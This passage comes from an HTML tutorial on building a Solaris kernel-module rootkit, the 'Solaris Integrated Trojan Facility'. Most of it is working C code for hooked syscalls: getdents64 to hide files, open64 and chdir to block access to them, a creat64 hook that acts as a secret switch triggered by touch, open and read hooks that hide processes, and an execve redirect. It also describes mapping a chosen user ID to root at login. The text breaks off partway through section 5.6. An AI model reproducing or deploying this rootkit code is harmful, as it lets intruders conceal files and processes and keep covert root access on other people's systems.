  464. <blockquote>If you trace through commands as <tt>ls</tt> or <tt>du</tt>
  465. you will find out that Solaris systems use the <tt>getdents64()</tt> syscall
  466. to retrieve information about the content of a directory therefore I took
  467. a closer look at plaguez's implementation of a faked <tt>getdents() </tt>syscall
  468. hiding files from being listed.
  469. <br>While playing with his code I discovered that getting the entries from
  470. <tt>getdents64()</tt>
  471. is easier as on Linux, it is not necessary to care about user- and kernelsparce
  472. (well, I know this isn't a proper approach, but who cares), I simply modified
  473. his code to work with <tt>getdents64()</tt> and the <tt>dirent64</tt> entries
  474. used <tt>copyin()</tt> and <tt>copyout()</tt> (see 4.3 Allocation kernel
  475. memory). The
  476. <tt>getdents64()</tt> syscall and its structs are documented
  477. inside the Solaris man pages, take a look at the following pages: getdent(2),
  478. dirent(4), but keep in mind that you have to use the 64bit variants, just
  479. read the header file
  480. <tt>/usr/include/sys/dirent.h</tt> and you will find
  481. what you are looking for. A final version of a faked <tt>getdents64() </tt>syscall
  482. looks like that:
  483. <blockquote><tt>#define MAGIC&nbsp;&nbsp; "CHT.THC"</tt>
  484. <br><tt>char magic[] = MAGIC;</tt>
  485. <p>[...]
  486. <p><tt>int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)</tt>
  487. <br><tt>{</tt>
  488. <br><tt>&nbsp;&nbsp;&nbsp; int ret, oldret, i, reclen;</tt>
  489. <br><tt>&nbsp;&nbsp;&nbsp; struct dirent64 *buf2, *buf3;&nbsp;</tt>
  490. <p><tt>&nbsp;&nbsp;&nbsp; oldret = (*oldgetdents64) (fildes, buf, nbyte);</tt>
  491. <br><tt>&nbsp;&nbsp;&nbsp; ret = oldret;</tt>
  492. <p><tt>&nbsp;&nbsp;&nbsp; if (ret > 0) {&nbsp;</tt>
  493. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buf2 = (struct dirent64
  494. *) kmem_alloc(ret, KM_SLEEP);</tt>
  495. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyin((char *) buf,
  496. (char *) buf2, ret);</tt>
  497. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buf3 = buf2;&nbsp;</tt>
  498. <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i = ret;</tt>
  499. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (i > 0) {</tt>
  500. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  501. reclen = buf3->d_reclen;</tt>
  502. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  503. i -= reclen;</tt>
  504. <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  505. if (strstr((char *) &amp;(buf3->d_name), (char *) &amp;magic) != NULL)
  506. {</tt>
  507. <br><tt>#ifdef DEBUG&nbsp;</tt>
  508. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  509. cmn_err(CE_NOTE,"sitf: hiding file (%s)", buf3->d_name);</tt>
  510. <br><tt>#endif</tt>
  511. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  512. if (i != 0)</tt>
  513. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  514. memmove(buf3, (char *) buf3 + buf3->d_reclen, i);</tt>
  515. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  516. else</tt>
  517. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  518. buf3->d_off = 1024;</tt>
  519. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  520. ret -= reclen;</tt>
  521. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  522. }&nbsp;</tt>
  523. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  524. /*&nbsp;</tt>
  525. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  526. * most people implement this little check into their modules,</tt>
  527. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  528. * don't ask me, if some of the solaris fs driver modules really</tt>
  529. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  530. * generate a d_reclen=0.</tt>
  531. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  532. * correction: this code is needed for solaris sparc at least,</tt>
  533. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  534. * otherwise you`ll find yourself back in a world of crashes.</tt>
  535. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  536. */</tt>
  537. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  538. if (buf3->d_reclen &lt; 1) {</tt>
  539. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  540. ret -= i;</tt>
  541. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  542. i = 0;</tt>
  543. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  544. }&nbsp;</tt>
  545. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  546. if (i != 0)</tt>
  547. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  548. buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen);</tt>
  549. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</tt>
  550. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyout((char *) buf2,
  551. (char *) buf, ret);</tt>
  552. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kmem_free(buf2, oldret);</tt>
  553. <br><tt>&nbsp;&nbsp;&nbsp; }</tt>
  554. <br><tt>&nbsp;&nbsp;&nbsp; return ret;</tt>
  555. <br><tt>}</tt></blockquote>
  556. Understanding this code is not that easy, since it works with the weird
  557. dirent structure, but the <tt>dirent</tt> struct is also present in Linux
  558. and can be understand reading the man pages and the specific headers, I
  559. won't go into more details.&nbsp;
  560. <br>There is still a minor problem with this piece of code, when you include
  561. the magic string more than once in to your filename the module won't act
  562. correctly, it looks like the <tt>strstr()</tt> function causes problems
  563. while running inside the kernel. I plan to fix this bug in version 2.0
  564. of the article / module, until then include the magic string only once
  565. in your filenames.</blockquote>
  566. <font size=+1>5.2&nbsp;&nbsp; Hiding directories and file content</font>
  567. <blockquote>This idea has been taken from pragamatic's Linux kernel module
  568. article. If files are hidden from being listed as described above they still
  569. can be accessed by everybody and directories can be entered by everybody
  570. too. I used a switch (see 5.3 Generating a remote switch) to toggle these
  571. features On and Off. So if I don't want anybody to access the content of
  572. my hidden files or anybody to enter my hidden directories, I would turn
  573. the switch On.&nbsp;
  574. <br>The syscall open64() is used to open files for reading and writing
  575. under Solaris (not inside the /proc), if the filename of the file to be
  576. opened contains the magic word and the security flag is set, the faked
  577. syscall will return the error message: "No such file or directory".&nbsp;
  578. <blockquote><tt>#define MAGIC&nbsp;&nbsp; "CHT.THC"&nbsp;</tt>
  579. <br><tt>char magic[] = MAGIC;</tt>
  580. <br><tt>int security = FALSE;</tt>
  581. <p>[...]
  582. <p><tt>int newopen64(const char *path, int oflag, mode_t mode)</tt>
  583. <br><tt>{</tt>
  584. <br><tt>&nbsp;&nbsp;&nbsp; int ret;</tt>
  585. <br><tt>&nbsp;&nbsp;&nbsp; int len;</tt>
  586. <br><tt>&nbsp;&nbsp;&nbsp; char namebuf[1028];</tt><tt></tt>
  587. <p><tt>&nbsp;&nbsp;&nbsp; ret = oldopen64(path, oflag, mode);</tt><tt></tt>
  588. <p><tt>&nbsp;&nbsp;&nbsp; if (ret >= 0) {</tt>
  589. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyinstr(path, namebuf,
  590. 1028, (size_t *) &amp; len);</tt><tt></tt>
  591. <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (security &amp;&amp;
  592. strstr(namebuf, (char *) &amp;magic) != NULL) {</tt>
  593. <br><tt>#ifdef DEBUG</tt>
  594. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  595. cmn_err(CE_NOTE, "sitf: hiding content of file (%s)", namebuf);</tt>
  596. <br><tt>#endif</tt>
  597. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  598. set_errno(ENOENT);</tt>
  599. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  600. return -1;</tt>
  601. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</tt>
  602. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ret;</tt>
  603. <br><tt>&nbsp;&nbsp;&nbsp; }</tt>
  604. <br><tt>}</tt>
  605. <br><tt></tt>&nbsp;</blockquote>
  606. The syscall chdir() is used to change the current directory, if someone
  607. tries to enter a directory containing the magic string and the security
  608. flag is set, the faked syscall will return the error message: "No such
  609. file or directory".
  610. <blockquote><tt>int newchdir(const char *path)</tt>
  611. <br><tt>{</tt>
  612. <br><tt>&nbsp;&nbsp;&nbsp; char namebuf[1028];</tt>
  613. <br><tt>&nbsp;&nbsp;&nbsp; int len;</tt><tt></tt>
  614. <p><tt>&nbsp;&nbsp;&nbsp; copyinstr(path, namebuf, 1028, (size_t *) &amp;
  615. len);</tt><tt></tt>
  616. <p><tt>&nbsp;&nbsp;&nbsp; if (security &amp;&amp; strstr(namebuf, (char
  617. *) &amp;magic) != NULL) {</tt>
  618. <br><tt>#ifdef DEBUG</tt>
  619. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE, "sitf:
  620. hiding directory (%s)", namebuf);</tt>
  621. <br><tt>#endif</tt>
  622. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set_errno(ENOENT);</tt>
  623. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;</tt>
  624. <br><tt>&nbsp;&nbsp;&nbsp; } else</tt>
  625. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return oldchdir(path);</tt>
  626. <br><tt>}</tt>
  627. <br><tt></tt>&nbsp;</blockquote>
  628. These two functions combined with the faked <tt>getdents64()</tt>
  629. call protect all files and directories you want to hide including their
  630. content. But how can you easily switch between the total security and a
  631. work-environment where files are hidden but you can access and manipulate
  632. them, e.g. configuration files, read on.</blockquote>
  633. <font size=+1>5.3&nbsp;&nbsp; Generating a remote switch</font>
  634. <blockquote>While investigating some of the most used command line programs,
  635. I stumbeld over <tt>/usr/bin/touch</tt>, touch uses the syscall <tt>creat64()</tt>.
  636. I found this to be a good place to include a remote switch, for toggling
  637. features of a module On or Off, e.g. the security flag above in 5.2. Of
  638. cause this is not a real secure switch because an administrator could monitor
  639. you activities and will discover you suspicious touch calls.
  640. <br>First of all we need to define a key that will help us being the only
  641. person toggling our switch.
  642. <blockquote><tt>#define KEY "mykey"</tt>
  643. <br><tt>char key[] = KEY;</tt>
  644. <p>[...]
  645. <p><tt>int newcreat64(const char *path, mode_t mode)</tt>
  646. <br><tt>{</tt>
  647. <br><tt>&nbsp;&nbsp;&nbsp; char namebuf[1028];</tt>
  648. <br><tt>&nbsp;&nbsp;&nbsp; int len;</tt><tt></tt>
  649. <p><tt>&nbsp;&nbsp;&nbsp; copyinstr(path, namebuf, 1028, (size_t *) &amp;
  650. len);</tt><tt></tt>
  651. <p><tt>&nbsp;&nbsp;&nbsp; if (strstr(namebuf, (char *) &amp;key) != NULL)
  652. {</tt>
  653. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (security) {</tt>
  654. <br><tt>#ifdef DEBUG</tt>
  655. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  656. cmn_err(CE_NOTE, "sitf: disabeling security");</tt>
  657. <br><tt>#endif</tt>
  658. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  659. security = FALSE;</tt>
  660. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {</tt>
  661. <br><tt>#ifdef DEBUG</tt>
  662. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  663. cmn_err(CE_NOTE, "sitf: enabeling security");</tt>
  664. <br><tt>#endif</tt>
  665. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  666. security = TRUE;</tt>
  667. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</tt>
  668. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set_errno(ENFILE);</tt>
  669. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;</tt>
  670. <br><tt>&nbsp;&nbsp;&nbsp; } else</tt>
  671. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return oldcreat64(path,
  672. mode);</tt>
  673. <br><tt>}</tt></blockquote>
  674. When the touch command is used the syscall <tt>creat64()</tt> will be called.
  675. Our faked syscall will check if the filename includes our key and then
  676. en- or disable the security flag. In order to tell us if this suceed it
  677. will return the error (<tt>ENFILE, </tt>The system file table is full).
  678. I hope this is a rather seldom error message.</blockquote>
  679. <font size=+1>5.4&nbsp;&nbsp; Hiding processes (proc file system approach)</font>
  680. <blockquote>Before I concentrated on the structured proc of Solaris, I
  681. developed a basic way to hide files from being listed. This code should
  682. only function as an example because it may consume a lot cpu power.
  683. <br>When a user executes <tt>ps</tt> or <tt>top</tt> these tools will read
  684. parts of the proc file systems and return their content. The file that
  685. halts information about the process caller and the executed file is <tt>psinfo</tt>
  686. found inf <tt>/proc/&lt;pid>/psinfo</tt>. The content of this file is described
  687. in <tt>/usr/include/sys/procfs.h</tt>.&nbsp;
  688. <blockquote><tt>typedef struct psinfo {</tt>
  689. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
  690. pr_flag;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* process flags */</tt>
  691. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
  692. pr_nlwp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* number of lwps in
  693. process */</tt>
  694. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t&nbsp;&nbsp; pr_pid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  695. /* unique process id */</tt>
  696. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t&nbsp;&nbsp; pr_ppid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  697. /* process id of parent */</tt>
  698. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t&nbsp;&nbsp; pr_pgid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  699. /* pid of process group leader */</tt>
  700. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t&nbsp;&nbsp; pr_sid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  701. /* session id */</tt>
  702. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uid_t&nbsp;&nbsp; pr_uid;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  703. /* real user id */</tt>
  704. <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [...]
  705. <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
  706. pr_psargs[PRARGSZ];&nbsp;&nbsp;&nbsp;&nbsp; /* initial characters of arg
  707. list */</tt>
  708. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
  709. pr_wstat;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* if zombie, the wait()
  710. status */</tt>
  711. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
  712. pr_argc;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* initial argument
  713. count */</tt>
  714. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uintptr_t pr_argv;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  715. /* address of initial argument vector */</tt>
  716. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uintptr_t pr_envp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  717. /* address of initial environment vector */</tt>
  718. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
  719. pr_dmodel;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* data model of the process */</tt>
  720. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;
  721. pr_pad2[3];</tt>
  722. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;
  723. pr_filler[7];&nbsp;&nbsp; /* reserved for future use */</tt>
  724. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lwpsinfo_t pr_lwp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  725. /* information for representative lwp */</tt>
  726. <br><tt>} psinfo_t;</tt>
  727. <br>&nbsp;</blockquote>
  728. It's always the size of the<tt> psinfo_t</tt> struct. The member <tt>psargs</tt>
  729. includes the executed filename and the following arguments. Whenever a
  730. file named <tt>psinfo</tt> is opened a faked <tt>open()</tt> syscall will
  731. set a special flag, signaling that one of the next <tt>read()</tt> calls
  732. will read this file. Note that inside the /proc file system Solaris uses
  733. the <tt>open()</tt> syscall instead of the <tt>open64()</tt> syscall.&nbsp;
  734. <blockquote><tt>#define MAGIC "CHT.THC"</tt>
  735. <br><tt>char magic[] = MAGIC;</tt>
  736. <br><tt>char psinfo[] = "psinfo";</tt>
  737. <br><tt>int psfildes = FALSE;</tt>
  738. <p>[...]
  739. <p><tt>int newopen(const char *path, int oflag, mode_t mode)</tt>
  740. <br><tt>{</tt>
  741. <br><tt>&nbsp;&nbsp;&nbsp; int ret;&nbsp;</tt>
  742. <p><tt>&nbsp;&nbsp;&nbsp; ret = oldopen(path, oflag, mode);</tt>
  743. <br><tt>&nbsp;&nbsp;&nbsp; if (strstr(path, (char *) &amp;psinfo) != NULL)
  744. {</tt>
  745. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; psfildes = ret;</tt>
  746. <br><tt>&nbsp;&nbsp;&nbsp; } else</tt>
  747. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; psfildes = FALSE;</tt>
  748. <p><tt>&nbsp;&nbsp;&nbsp; return ret;</tt>
  749. <br><tt>}</tt></blockquote>
  750. A redirected <tt>read()</tt> function will look into the file if it has
  751. the size of a <tt>psinfo</tt> file and the <tt>open64()</tt> call has set
  752. the <tt>psfildes</tt> flag to the specific file descriptor. The<tt> read()</tt>
  753. syscall will then copy the content of the file to a <tt>psinfo_t</tt> struct
  754. and compare the executed file with the magic string. This is done by investigating
  755. <tt>psinfo_t->pr_psargs</tt>.
  756. If the magic string is found it will return an error and this proc entry
  757. won't be displayed in a process listing.&nbsp;
  758. <blockquote><tt>ssize_t</tt>
  759. <br><tt>newread(int fildes, void *buf, size_t nbyte)</tt>
  760. <br><tt>{</tt>
  761. <br><tt>&nbsp;&nbsp;&nbsp; ssize_t ret;</tt>
  762. <br><tt>&nbsp;&nbsp;&nbsp; psinfo_t *info;</tt>
  763. <p><tt>&nbsp;&nbsp;&nbsp; ret = oldread(fildes, buf, nbyte);</tt>
  764. <br><tt>&nbsp;&nbsp;&nbsp; if (fildes > 0 &amp;&amp; fildes == psfildes
  765. &amp;&amp; nbyte == sizeof(psinfo_t)) {&nbsp;</tt>
  766. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; info = (psinfo_t *)
  767. kmem_alloc(sizeof(psinfo_t), KM_SLEEP);</tt>
  768. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyin(buf, (void *)
  769. info, sizeof(psinfo_t));</tt>
  770. <p><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (strstr(info->pr_psargs,
  771. (char *) &amp;magic) != NULL) {</tt>
  772. <br><tt>#ifdef DEBUG</tt>
  773. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  774. cmn_err(CE_NOTE,"hiding process: %s", info->pr_psargs);</tt>
  775. <br><tt>#endif</tt>
  776. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  777. kmem_free(info, sizeof(psinfo_t));</tt>
  778. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  779. set_errno(ENOENT);</tt>
  780. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  781. return -1;</tt>
  782. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else</tt>
  783. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  784. kmem_free(info, sizeof(psinfo_t));</tt>
  785. <br><tt>&nbsp;&nbsp;&nbsp; }</tt>
  786. <br><tt>&nbsp;&nbsp;&nbsp; return ret;</tt>
  787. <br><tt>}</tt></blockquote>
  788. You see that this is really not a proper way to hide processes from being
  789. listed because a lot cpu power will be wasted by the <tt>open64()</tt>
  790. and the <tt>read()</tt> call due to the fact that they got called very
  791. often on any system. A really fast method can be found in 5.6 Hiding processes
  792. (structured proc approach), just read on.</blockquote>
  793. <font size=+1>--->&nbsp;&nbsp; Module: sitf0.1.c&nbsp;</font>
  794. <blockquote>The module sitf0.1.c (Solaris Integrated Trojan Facility) demonstrates
  795. all topics described above, it is configured by setting the following variables:
  796. <ol><tt>#define MAGIC&nbsp;&nbsp; "CHT.THC"</tt>
  797. <br><tt>#define KEY&nbsp;&nbsp;&nbsp;&nbsp; "mykey"</tt>
  798. <br><tt>#define UID&nbsp;&nbsp;&nbsp;&nbsp; 1001</tt></ol>
  799. If a file or a process includes the string <tt>MAGIC</tt>, it will not
  800. be listed by any tool. Directories or file content of files containing
  801. this string will also be unaccessiable if the security flag is set. You
  802. can toggle the security flag by using the touch command, <tt>KEY</tt> is
  803. the argument for touch.
  804. <blockquote><tt>$ touch mykey</tt></blockquote>
  805. The UID specifies the user id that should automatically be mapped to root
  806. if a user logs on.You can monitor all activities via syslogd if you compiled
  807. the module with the <tt>DEBUG</tt> defintion.</blockquote>
  808. <font size=+1>5.5&nbsp;&nbsp; Redirecting an execve() call</font>
  809. <blockquote>Redirecting the execve() call was really a challange on Solaric
  810. (Sparc), because the kernel really "cares" about a proper user- and kernel
  811. memory transfer. The following code does not allocate user memory, it simply
  812. overwrites the defined buffer with the new command to execute, eventhough
  813. I have tested this call a thousand times and nothing bad happened, I advice
  814. you to read the next version of this article, that will feature some
  815. techniques
  816. to allocate user memory properly.
  817. <blockquote><tt>#define OLDCMD&nbsp; "/bin/who"</tt>
  818. <br><tt>#define NEWCMD&nbsp; "/usr/openwin/bin/xview/xcalc"</tt>
  819. <br><tt>char oldcmd[] = OLDCMD;</tt>
  820. <br><tt>char newcmd[] = NEWCMD;</tt>
  821. <p>[...]
  822. <p><tt>int newexecve(const char *filename, const char *argv[], const char
  823. *envp[])</tt>
  824. <br><tt>{</tt>
  825. <br><tt>&nbsp;&nbsp;&nbsp; int ret;</tt>
  826. <br><tt>&nbsp;&nbsp;&nbsp; char *name;</tt>
  827. <br><tt>&nbsp;&nbsp;&nbsp; unsigned long addr;&nbsp;</tt>
  828. <p><tt>&nbsp;&nbsp;&nbsp; name = (char *) kmem_alloc(256, KM_SLEEP);</tt>
  829. <br><tt>&nbsp;&nbsp;&nbsp; copyin(filename, name, 256);</tt>
  830. <br><tt>&nbsp;&nbsp;&nbsp; if (!strcmp(name, (char *) oldcmd)) {</tt>
  831. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; copyout((char *) newcmd,
  832. (char *) filename, strlen(newcmd) + 1);</tt>
  833. <br><tt>#ifdef DEBUG</tt>
  834. <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmn_err(CE_NOTE,"sitf:
  835. executing %s instead of %s", newcmd, name);</tt>
  836. <br><tt>#endif</tt>
  837. <br><tt>&nbsp;&nbsp;&nbsp; }</tt>
  838. <br><tt>&nbsp;&nbsp;&nbsp; kmem_free(name, 256);&nbsp;</tt>
  839. <br><tt>&nbsp;&nbsp;&nbsp; return oldexecve(filename, argv, envp);</tt>
  840. <br><tt>}</tt></blockquote>
  841. </blockquote>
  842. <font size=+1>5.6&nbsp;&nbsp; Hiding processes (structured proc approach)</font>
  843. <blockquote>This is a proper approach for hiding processes from being listed.
  844. Take a look at the header file <tt>/usr/include/sys/proc.h</tt>, you will
  845. find inside the large <tt>proc_t</tt> struct a member that is called <tt>struct
  846. user p_user</tt>. Every process owns such a <tt>proc_t </tt>struct. Solaris
  847. generates the files inside the /proc directory from these <tt>proc_t</tt>
  848. entries and their corresponding values. If you look into the definition
  849. of the <tt>user</tt> struct in <tt>/usr/include/sys/user.h</tt>, you will
  850. find what I was looking for the last weeks:
